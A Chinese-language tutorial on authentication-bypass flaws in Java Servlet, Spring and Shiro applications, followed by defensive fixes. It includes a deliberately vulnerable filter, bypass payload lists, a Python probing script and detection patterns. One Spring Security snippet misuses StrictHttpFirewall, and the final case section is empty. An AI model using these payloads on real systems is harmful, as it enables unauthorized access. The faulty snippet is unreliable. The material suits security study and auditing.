Java Web应用鉴权绕过分析

Java Web应用鉴权绕过分析

目录

  1. Servlet鉴权基础
  2. 路径参数污染攻击
  3. Spring拦截器绕过
  4. Shiro鉴权绕过
  5. 其他常见绕过技术
  6. 防护建议

Servlet鉴权基础

1. 源码审计入口点

在进行Servlet应用的安全审计时,主要关注以下文件:

  • 闭源应用:查看 WEB-INF/web.xml 文件
  • 开源应用:直接查看源码中的路由配置

web.xml配置示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<!-- 过滤器配置 -->
<filter>
<filter-name>AuthFilter</filter-name>
<filter-class>com.example.AuthFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>AuthFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<!-- Servlet配置 -->
<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>com.example.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
</web-app>

2. Servlet过滤器鉴权实现

基础过滤器示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.example.Filter;

import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebFilter;
import jakarta.servlet.http.HttpFilter;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;

import java.io.IOException;
import java.io.PrintWriter;

@WebFilter("/*")
public class AuthFilter extends HttpFilter {

// 白名单路径
private static final String[] WHITELIST = {
"/login", "/register", "/static/", "/css/", "/js/", "/images/"
};

@Override
public void doFilter(HttpServletRequest request, HttpServletResponse response,
FilterChain chain) throws IOException, ServletException {

String requestURI = request.getRequestURI();
String contextPath = request.getContextPath();
String path = requestURI.substring(contextPath.length());

System.out.println("拦截路径: " + path);

// 检查是否在白名单中
if (isWhitelist(path)) {
chain.doFilter(request, response);
return;
}

// 检查用户是否已登录
HttpSession session = request.getSession(false);
if (session == null || session.getAttribute("user") == null) {
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
response.getWriter().println("未授权访问,请先登录");
return;
}

// 通过验证,继续处理请求
chain.doFilter(request, response);
}

private boolean isWhitelist(String path) {
for (String pattern : WHITELIST) {
if (path.startsWith(pattern)) {
return true;
}
}
return false;
}

@Override
public void init() throws ServletException {
System.out.println("AuthFilter 初始化");
}

@Override
public void destroy() {
System.out.println("AuthFilter 销毁");
}
}

存在漏洞的过滤器示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@WebFilter("/*")
public class VulnerableFilter extends HttpFilter {
@Override
public void doFilter(HttpServletRequest request, HttpServletResponse response,
FilterChain chain) throws IOException, ServletException {

String requestURI = request.getRequestURI();
PrintWriter writer = response.getWriter();

// 漏洞点:简单的后缀检查
if (requestURI.contains(".css") || requestURI.contains(".js")) {
chain.doFilter(request, response);
} else {
// 检查session
if (request.getSession().getAttribute("user") == null) {
writer.println("forbidden");
return;
}
chain.doFilter(request, response);
}
}
}

业务Servlet示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;

@WebServlet(name = "helloServlet", urlPatterns = {"/hello", "/admin/hello"})
public class HelloServlet extends HttpServlet {

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws IOException {
String name = req.getParameter("name");
String age = req.getParameter("age");

// 敏感操作
resp.getWriter().println("Hello " + name + " " + age);
resp.getWriter().println("你已成功访问受保护的资源!");
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
// 处理POST请求
doGet(req, resp);
}
}

路径参数污染攻击

1. 攻击原理

路径参数(Path Parameters)是URL中分号后面的部分,在Java Servlet规范中被定义为路径的一部分,但不被当作查询参数处理。

URL结构解析

1
2
3
4
5
6
7
完整URL: http://localhost:8080/app/hello;jsessionid=ABC123?name=test
├── 协议: http://
├── 主机: localhost:8080
├── 上下文路径: /app
├── Servlet路径: /hello
├── 路径参数: ;jsessionid=ABC123
└── 查询参数: ?name=test

2. 绕过原理详解

1
2
3
4
5
6
7
8
9
// 当访问 /hello;.css 时
String requestURI = request.getRequestURI(); // 返回 "/hello;.css"
String servletPath = request.getServletPath(); // 返回 "/hello"

// 漏洞过滤器的判断逻辑
if (requestURI.contains(".css")) {
// 误判为CSS文件,直接放行
chain.doFilter(request, response);
}

3. 常见绕过Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 基础绕过
/admin;.css
/admin;.js
/admin;.png
/admin;.jpg

# 带参数的绕过
/admin/users;.css?action=delete&id=1
/api/sensitive;.js?method=POST

# 多层嵌套绕过
/admin/config;.css;.js
/admin;x=1;.css

# 特殊字符绕过
/admin;%2e%63%73%73 # URL编码的.css
/admin;.CSS # 大小写绕过(取决于具体实现)

4. 路径参数的历史用途

Session ID传递

1
2
3
4
5
6
// 早期JSP应用中,当Cookie被禁用时使用路径参数传递Session ID
String sessionUrl = response.encodeURL("/protected/resource");
// 生成类似:/protected/resource;jsessionid=ABCD1234EFGH5678

// 服务器端获取Session
HttpSession session = request.getSession(); // 自动解析路径参数中的jsessionid

其他用途示例

1
2
3
4
5
6
7
8
// 版本控制
/api/users;version=2.0

// 矩阵参数
/products;category=electronics;brand=sony

// 缓存控制
/static/app.js;version=1.2.3;cache=false

Spring拦截器绕过

1. Spring Boot拦截器配置

拦截器实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.example.interceptor;

import org.springframework.stereotype.Component;
import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;

@Component
public class LoginInterceptor implements HandlerInterceptor {

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response,
Object handler) throws Exception {

String requestURI = request.getRequestURI();
System.out.println("拦截请求: " + requestURI);

// 检查session中是否有用户信息
HttpSession session = request.getSession(false);
if (session == null || session.getAttribute("user") == null) {

// 判断是否为AJAX请求
String xRequestedWith = request.getHeader("X-Requested-With");
if ("XMLHttpRequest".equals(xRequestedWith)) {
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
response.getWriter().write("{\"error\":\"未登录\"}");
} else {
response.sendRedirect("/login");
}
return false;
}

return true;
}

@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response,
Object handler, org.springframework.web.servlet.ModelAndView modelAndView)
throws Exception {
// 请求处理后执行
}

@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response,
Object handler, Exception ex) throws Exception {
// 视图渲染后执行
}
}

拦截器注册配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.example.config;

import com.example.interceptor.LoginInterceptor;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class WebConfig implements WebMvcConfigurer {

@Autowired
private LoginInterceptor loginInterceptor;

@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(loginInterceptor)
.addPathPatterns("/**") // 拦截所有请求
.excludePathPatterns( // 排除以下路径
"/login", // 登录页面
"/doLogin", // 登录处理
"/register", // 注册页面
"/css/**", // CSS静态资源
"/js/**", // JS静态资源
"/images/**", // 图片资源
"/favicon.ico", // 图标
"/error", // 错误页面
"/api/public/**" // 公开API
);
}
}

2. 控制器示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.example.controller;

import org.springframework.web.bind.annotation.*;

import javax.servlet.http.HttpServletRequest;

@RestController
public class LoginController {

@GetMapping("/login")
public String loginPage() {
return "请先登录";
}

@PostMapping("/doLogin")
public String doLogin(HttpServletRequest request,
@RequestParam String username,
@RequestParam String password) {

// 简单的认证逻辑(实际应用中应该查询数据库)
if ("admin".equals(username) && "123456".equals(password)) {
request.getSession().setAttribute("user", username);
return "登录成功";
} else {
return "用户名或密码错误";
}
}

@GetMapping("/hello")
public String hello(HttpServletRequest request) {
String user = (String) request.getSession().getAttribute("user");
return "欢迎 " + user + " 访问受保护的页面!";
}

@GetMapping("/admin/users")
public String adminUsers() {
return "管理员用户列表页面";
}

@PostMapping("/admin/delete")
public String deleteUser(@RequestParam String userId) {
return "删除用户: " + userId;
}
}

3. Spring拦截器绕过技术

路径参数绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
# 原始受保护路径
GET /admin/users

# 绕过Payload
GET /admin/users;.css
GET /admin/users;.js
GET /admin/users;jsessionid=test

# 带参数的绕过
POST /admin/delete;.css
Content-Type: application/x-www-form-urlencoded

userId=123

双重URL编码绕过

1
2
3
4
5
6
7
8
9
# 正常路径
/admin/config

# URL编码绕过
/%61dmin/config # a -> %61
/admin/%63onfig # c -> %63

# 双重编码绕过
/%2561dmin/config # %61 -> %2561

HTTP方法绕过

1
2
3
4
5
6
// 如果拦截器只检查GET请求
@GetMapping("/admin/**")
// 可以尝试使用其他HTTP方法
POST /admin/users
PUT /admin/users
PATCH /admin/users

4. XML配置方式(传统Spring MVC)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!-- spring-mvc.xml -->
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/mvc
http://www.springframework.org/schema/mvc/spring-mvc.xsd">

<!-- 启用注解驱动 -->
<mvc:annotation-driven/>

<!-- 拦截器配置 -->
<mvc:interceptors>
<mvc:interceptor>
<mvc:mapping path="/**"/>
<mvc:exclude-mapping path="/login"/>
<mvc:exclude-mapping path="/css/**"/>
<mvc:exclude-mapping path="/js/**"/>
<bean class="com.example.interceptor.LoginInterceptor"/>
</mvc:interceptor>
</mvc:interceptors>

<!-- 静态资源处理 -->
<mvc:resources mapping="/css/**" location="/css/"/>
<mvc:resources mapping="/js/**" location="/js/"/>
</beans>

Shiro鉴权绕过

1. Shiro配置识别

在代码审计中,搜索以下关键字来识别Shiro的使用:

1
2
3
4
5
6
// 搜索关键字
"ShiroFilterFactoryBean"
"DefaultWebSecurityManager"
"@RequiresPermissions"
"@RequiresRoles"
"SecurityUtils.getSubject()"

2. Shiro配置示例

基础Shiro配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package com.example.config;

import org.apache.shiro.mgt.DefaultSecurityManager;
import org.apache.shiro.realm.SimpleAccountRealm;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

import java.util.LinkedHashMap;
import java.util.Map;

@Configuration
public class ShiroConfig {

@Bean
public SimpleAccountRealm simpleAccountRealm() {
SimpleAccountRealm realm = new SimpleAccountRealm();
// 添加用户和角色
realm.addAccount("admin", "123456", "admin", "user");
realm.addAccount("user", "123456", "user");
return realm;
}

@Bean
public DefaultSecurityManager securityManager() {
DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
manager.setRealm(simpleAccountRealm());
return manager;
}

@Bean
public ShiroFilterFactoryBean shiroFilter() {
ShiroFilterFactoryBean shiroFilter = new ShiroFilterFactoryBean();
shiroFilter.setSecurityManager(securityManager());

// 设置登录、未授权页面
shiroFilter.setLoginUrl("/login");
shiroFilter.setUnauthorizedUrl("/unauthorized");

// 配置过滤规则
Map<String, String> filterChainDefinitionMap = new LinkedHashMap<>();

// 静态资源不需要认证
filterChainDefinitionMap.put("/css/**", "anon");
filterChainDefinitionMap.put("/js/**", "anon");
filterChainDefinitionMap.put("/images/**", "anon");

// 登录相关页面不需要认证
filterChainDefinitionMap.put("/login", "anon");
filterChainDefinitionMap.put("/doLogin", "anon");

// 管理员页面需要admin角色
filterChainDefinitionMap.put("/admin/**", "roles[admin]");

// 其他页面需要认证
filterChainDefinitionMap.put("/**", "authc");

shiroFilter.setFilterChainDefinitionMap(filterChainDefinitionMap);
return shiroFilter;
}
}

控制器中的Shiro注解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.example.controller;

import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.apache.shiro.authz.annotation.RequiresRoles;
import org.apache.shiro.subject.Subject;
import org.springframework.web.bind.annotation.*;

@RestController
public class ShiroController {

@PostMapping("/doLogin")
public String login(@RequestParam String username, @RequestParam String password) {
try {
Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken token = new UsernamePasswordToken(username, password);
subject.login(token);
return "登录成功";
} catch (Exception e) {
return "登录失败: " + e.getMessage();
}
}

@GetMapping("/user/profile")
@RequiresRoles("user") // 需要user角色
public String userProfile() {
return "用户个人资料页面";
}

@GetMapping("/admin/users")
@RequiresRoles("admin") // 需要admin角色
public String adminUsers() {
return "管理员用户管理页面";
}

@PostMapping("/admin/delete")
@RequiresPermissions("user:delete") // 需要删除用户权限
public String deleteUser(@RequestParam String userId) {
return "删除用户: " + userId;
}
}

3. Shiro绕过技术

CVE-2020-1957 - 路径遍历绕过

1
2
3
4
5
6
7
8
# 原始受保护路径
/admin/users

# 绕过Payload
/admin/users/
/admin/users/../users
/admin/./users
/admin//users

CVE-2020-11989 - 路径参数绕过

1
2
3
4
# 路径参数绕过
/admin/users;param=value
/admin/users;.css
/admin/users;jsessionid=test

CVE-2020-13933 - 特殊字符绕过

1
2
3
4
# 使用特殊字符
/admin/%3Busers
/admin%2Fusers
/admin\users # Windows环境

CVE-2021-41303 - 正则表达式绕过

1
2
3
4
5
6
7
8
# 当使用通配符匹配时
# 配置: /admin/* = roles[admin]

# 绕过方式
/admin # 不匹配 /admin/*
/admin/ # 匹配
/admin/./ # 可能绕过
/admin/../admin # 可能绕过

4. 高级Shiro配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@Bean
public ShiroFilterFactoryBean shiroFilter() {
ShiroFilterFactoryBean shiroFilter = new ShiroFilterFactoryBean();
shiroFilter.setSecurityManager(securityManager());

Map<String, String> filterChainDefinitionMap = new LinkedHashMap<>();

// 更严格的配置
filterChainDefinitionMap.put("/login", "anon");
filterChainDefinitionMap.put("/css/**", "anon");
filterChainDefinitionMap.put("/js/**", "anon");

// 使用精确匹配而不是通配符
filterChainDefinitionMap.put("/admin/users", "roles[admin]");
filterChainDefinitionMap.put("/admin/config", "roles[admin]");
filterChainDefinitionMap.put("/admin/logs", "roles[admin]");

// 最后的兜底规则
filterChainDefinitionMap.put("/**", "authc");

shiroFilter.setFilterChainDefinitionMap(filterChainDefinitionMap);
return shiroFilter;
}

其他常见绕过技术

1. HTTP方法绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
// 如果只限制了GET请求
@GetMapping("/admin/delete")
public String deleteUser() {
return "删除成功";
}

// 尝试其他HTTP方法
POST /admin/delete
PUT /admin/delete
DELETE /admin/delete
PATCH /admin/delete
OPTIONS /admin/delete
HEAD /admin/delete

2. 大小写绕过

1
2
3
4
5
6
7
8
# 原始路径
/Admin/Users

# 大小写变体
/admin/users
/ADMIN/USERS
/Admin/users
/admin/Users

3. 编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
# URL编码
/%61dmin/users # a -> %61
/admin/%75sers # u -> %75

# 双重URL编码
/%2561dmin/users # %61 -> %2561

# Unicode编码
/\u0061dmin/users # a -> \u0061

# HTML实体编码
/&#97;dmin/users # a -> &#97;

4. 路径穿越绕过

1
2
3
4
5
6
7
8
9
10
11
12
# 点斜杠绕过
/admin/../admin/users
/./admin/users
/admin/./users

# 双点绕过
/admin/config/../users
/admin/users/../../admin/users

# 多级穿越
/public/../admin/users
/public/../../admin/users

5. 特殊字符绕过

1
2
3
4
5
6
7
8
9
10
11
12
# 空字节绕过(较老的版本)
/admin/users%00.css

# 换行符绕过
/admin/users%0a
/admin/users%0d

# 制表符绕过
/admin/users%09

# 空格绕过
/admin/users%20

6. 请求头绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# X-Original-URL绕过
GET /public/harmless HTTP/1.1
Host: example.com
X-Original-URL: /admin/users

# X-Rewrite-URL绕过
GET /public/harmless HTTP/1.1
Host: example.com
X-Rewrite-URL: /admin/users

# X-Forwarded-For伪造
GET /admin/users HTTP/1.1
Host: example.com
X-Forwarded-For: 127.0.0.1

防护建议

1. 安全编码实践

正确的路径匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
@Component
public class SecureFilter implements Filter {

@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {

HttpServletRequest httpRequest = (HttpServletRequest) request;

// 使用getServletPath()而不是getRequestURI()
String servletPath = httpRequest.getServletPath();
String pathInfo = httpRequest.getPathInfo();
String fullPath = servletPath + (pathInfo != null ? pathInfo : "");

// 标准化路径,移除路径遍历
String normalizedPath = Paths.get(fullPath).normalize().toString();
normalizedPath = normalizedPath.replace("\\", "/"); // Windows路径分隔符

if (isProtectedPath(normalizedPath)) {
// 执行认证检查
if (!isAuthenticated(httpRequest)) {
((HttpServletResponse) response).setStatus(401);
return;
}
}

chain.doFilter(request, response);
}

private boolean isProtectedPath(String path) {
// 使用精确匹配或正则表达式
String[] protectedPaths = {
"/admin/users",
"/admin/config",
"/admin/logs"
};

for (String protectedPath : protectedPaths) {
if (path.equals(protectedPath)) {
return true;
}
}
return false;
}
}

Spring Security推荐配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@Configuration
@EnableWebSecurity
public class SecurityConfig {

@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(authz -> authz
.requestMatchers("/login", "/register", "/css/**", "/js/**").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.formLogin(form -> form
.loginPage("/login")
.defaultSuccessUrl("/dashboard")
.permitAll()
)
.logout(logout -> logout
.logoutSuccessUrl("/login?logout")
.permitAll()
)
// 防止路径遍历攻击
.requestMatcher(new StrictHttpFirewall())
// 防止CSRF攻击
.csrf(csrf -> csrf.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()));

return http.build();
}
}

2. 框架级别防护

Shiro安全配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@Bean
public ShiroFilterFactoryBean shiroFilter() {
ShiroFilterFactoryBean shiroFilter = new ShiroFilterFactoryBean();

// 使用严格的路径匹配
Map<String, String> filterChainDefinitionMap = new LinkedHashMap<>();

// 明确指定每个路径,避免使用通配符
filterChainDefinitionMap.put("/admin/users", "roles[admin]");
filterChainDefinitionMap.put("/admin/config", "roles[admin]");
filterChainDefinitionMap.put("/admin/logs", "roles[admin]");

// 对于必须使用通配符的情况,要格外小心
filterChainDefinitionMap.put("/api/admin/**", "roles[admin]");

shiroFilter.setFilterChainDefinitionMap(filterChainDefinitionMap);
return shiroFilter;
}

3. 通用安全建议

  1. 使用白名单而不是黑名单

    1
    2
    3
    4
    5
    6
    7
    8
    9
    // 好的做法:明确允许的路径
    private static final Set<String> ALLOWED_PATHS = Set.of(
    "/login", "/register", "/public", "/css", "/js"
    );

    // 避免:基于黑名单的过滤
    private static final Set<String> BLOCKED_PATHS = Set.of(
    "/admin", "/config"
    );
  2. 规范化路径处理

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public String normalizePath(String path) {
    // 移除路径参数
    int semicolonIndex = path.indexOf(';');
    if (semicolonIndex != -1) {
    path = path.substring(0, semicolonIndex);
    }

    // 标准化路径
    Path normalizedPath = Paths.get(path).normalize();
    return normalizedPath.toString().replace("\\", "/");
    }
  3. 严格的输入验证

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    public boolean isValidPath(String path) {
    // 检查路径长度
    if (path.length() > 200) {
    return false;
    }

    // 检查危险字符
    String[] dangerousPatterns = {
    "..", "//", "\\", "%00", "%2e", "%2f", "\r", "\n", "\t"
    };

    for (String pattern : dangerousPatterns) {
    if (path.contains(pattern)) {
    return false;
    }
    }

    return true;
    }
  4. 日志记录和监控

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    @Component
    public class SecurityAuditFilter implements Filter {

    private static final Logger logger = LoggerFactory.getLogger(SecurityAuditFilter.class);

    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
    FilterChain chain) throws IOException, ServletException {

    HttpServletRequest httpRequest = (HttpServletRequest) request;
    String requestURI = httpRequest.getRequestURI();
    String remoteAddr = httpRequest.getRemoteAddr();
    String userAgent = httpRequest.getHeader("User-Agent");

    // 记录可疑请求
    if (isSuspiciousRequest(requestURI)) {
    logger.warn("可疑请求检测: URI={}, IP={}, UserAgent={}",
    requestURI, remoteAddr, userAgent);
    }

    chain.doFilter(request, response);
    }

    private boolean isSuspiciousRequest(String uri) {
    // 检测路径遍历
    if (uri.contains("../") || uri.contains("..\\")) {
    return true;
    }

    // 检测路径参数绕过尝试
    if (uri.contains(";") && (uri.contains(".css") || uri.contains(".js"))) {
    return true;
    }

    // 检测编码绕过尝试
    if (uri.contains("%2e") || uri.contains("%2f") || uri.contains("%5c")) {
    return true;
    }

    return false;
    }
    }

4. 测试和验证

安全测试脚本示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python3
import requests
import urllib.parse

def test_auth_bypass(base_url, protected_paths):
"""测试鉴权绕过漏洞"""

bypass_payloads = [
# 路径参数绕过
";.css",
";.js",
";.png",
";jsessionid=test",

# 路径遍历绕过
"/../",
"/./",
"//",

# 编码绕过
"/%2e%2e/",
"/%2f",
"/%5c",

# 大小写绕过
"", # 原始路径的大小写变体将在循环中处理
]

results = []

for path in protected_paths:
print(f"\n测试路径: {path}")

# 测试原始路径(应该被拒绝)
response = requests.get(f"{base_url}{path}")
print(f"原始请求状态码: {response.status_code}")

# 测试各种绕过payload
for payload in bypass_payloads:
test_url = f"{base_url}{path}{payload}"

try:
response = requests.get(test_url, timeout=10)
if response.status_code == 200:
print(f"[!] 可能的绕过: {test_url} -> {response.status_code}")
results.append({
'url': test_url,
'status': response.status_code,
'payload': payload
})
else:
print(f"[-] 正常阻止: {test_url} -> {response.status_code}")
except Exception as e:
print(f"[!] 请求异常: {test_url} -> {str(e)}")

# 测试大小写绕过
case_variants = [
path.upper(),
path.lower(),
path.capitalize(),
''.join(c.upper() if i % 2 == 0 else c.lower()
for i, c in enumerate(path))
]

for variant in case_variants:
if variant != path: # 跳过原始路径
try:
response = requests.get(f"{base_url}{variant}", timeout=10)
if response.status_code == 200:
print(f"[!] 大小写绕过: {variant} -> {response.status_code}")
results.append({
'url': f"{base_url}{variant}",
'status': response.status_code,
'payload': 'case_bypass'
})
except Exception as e:
pass

return results

# 使用示例
if __name__ == "__main__":
target_url = "http://localhost:8080"
protected_endpoints = [
"/admin/users",
"/admin/config",
"/admin/logs",
"/api/admin/delete"
]

vulnerabilities = test_auth_bypass(target_url, protected_endpoints)

if vulnerabilities:
print("\n" + "="*50)
print("发现的潜在绕过漏洞:")
for vuln in vulnerabilities:
print(f"URL: {vuln['url']}")
print(f"状态码: {vuln['status']}")
print(f"Payload: {vuln['payload']}")
print("-" * 30)
else:
print("\n未发现明显的鉴权绕过漏洞")

Burp Suite扩展检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// Burp Suite被动扫描器扩展示例
public class AuthBypassScanner implements IScannerCheck {

@Override
public List<IScanIssue> doPassiveScan(IHttpRequestResponse baseRequestResponse) {
List<IScanIssue> issues = new ArrayList<>();

IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
String url = reqInfo.getUrl().toString();

// 检测可能的绕过模式
if (url.contains(";.css") || url.contains(";.js")) {
issues.add(createScanIssue(baseRequestResponse,
"可能的路径参数绕过",
"检测到URL中包含路径参数,可能用于绕过访问控制"));
}

if (url.contains("../") || url.contains("%2e%2e")) {
issues.add(createScanIssue(baseRequestResponse,
"路径遍历尝试",
"检测到路径遍历模式,可能用于绕过访问控制"));
}

return issues;
}

@Override
public List<IScanIssue> doActiveScan(IHttpRequestResponse baseRequestResponse,
IScannerInsertionPoint insertionPoint) {
// 主动扫描实现
return new ArrayList<>();
}
}

5. 应急响应和修复

临时修复方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
@Component
public class EmergencySecurityFilter implements Filter {

private static final Logger logger = LoggerFactory.getLogger(EmergencySecurityFilter.class);

@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {

HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;

String requestURI = httpRequest.getRequestURI();
String remoteAddr = getClientIP(httpRequest);

// 紧急阻止所有可疑请求
if (isEmergencyBlock(requestURI)) {
logger.error("紧急阻止可疑请求: URI={}, IP={}", requestURI, remoteAddr);
httpResponse.setStatus(HttpServletResponse.SC_FORBIDDEN);
httpResponse.getWriter().write("Request blocked for security reasons");
return;
}

chain.doFilter(request, response);
}

private boolean isEmergencyBlock(String uri) {
// 阻止所有包含路径参数的请求
if (uri.contains(";")) {
return true;
}

// 阻止路径遍历尝试
if (uri.contains("../") || uri.contains("..\\") ||
uri.contains("%2e%2e") || uri.contains("%2f%2e%2e")) {
return true;
}

// 阻止双重编码
if (uri.contains("%25")) {
return true;
}

return false;
}

private String getClientIP(HttpServletRequest request) {
String xForwardedFor = request.getHeader("X-Forwarded-For");
if (xForwardedFor != null && !xForwardedFor.isEmpty()) {
return xForwardedFor.split(",")[0].trim();
}

String xRealIP = request.getHeader("X-Real-IP");
if (xRealIP != null && !xRealIP.isEmpty()) {
return xRealIP;
}

return request.getRemoteAddr();
}
}

配置修复检查清单

Servlet应用检查清单:

  • 检查所有Filter的URL匹配模式
  • 使用getServletPath()而不是getRequestURI()
  • 实现路径标准化处理
  • 添加路径参数清理逻辑
  • 启用请求日志记录

Spring应用检查清单:

  • 检查拦截器的路径匹配配置
  • 验证excludePathPatterns配置
  • 使用Spring Security的StrictHttpFirewall
  • 启用CSRF保护
  • 配置安全响应头

Shiro应用检查清单:

  • 升级到最新版本的Shiro
  • 使用精确路径匹配而非通配符
  • 检查filterChainDefinitionMap配置顺序
  • 启用Shiro的路径标准化
  • 实现自定义路径匹配逻辑

6. 相关CVE和漏洞案例

历史漏洞总结

1
2
3
4
5
6
7
| CVE编号 | 影响组件 | 漏洞类型 | 影响版本 | 修复版本 |
|---------|----------|----------|----------|----------|
| CVE-2020-1957 | Apache Shiro | 路径遍历绕过 | < 1.5.2 | 1.5.2+ |
| CVE-2020-11989 | Apache Shiro | 路径参数绕过 | < 1.5.3 | 1.5.3+ |
| CVE-2020-13933 | Apache Shiro | 特殊字符绕过 | < 1.6.0 | 1.6.0+ |
| CVE-2021-41303 | Apache Shiro | 正则绕过 | < 1.8.0 | 1.8.0+ |
| CVE-2022-32532 | Apache Shiro | 路径匹配绕过 | < 1.9.1 | 1.9.1+ |

实际案例分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
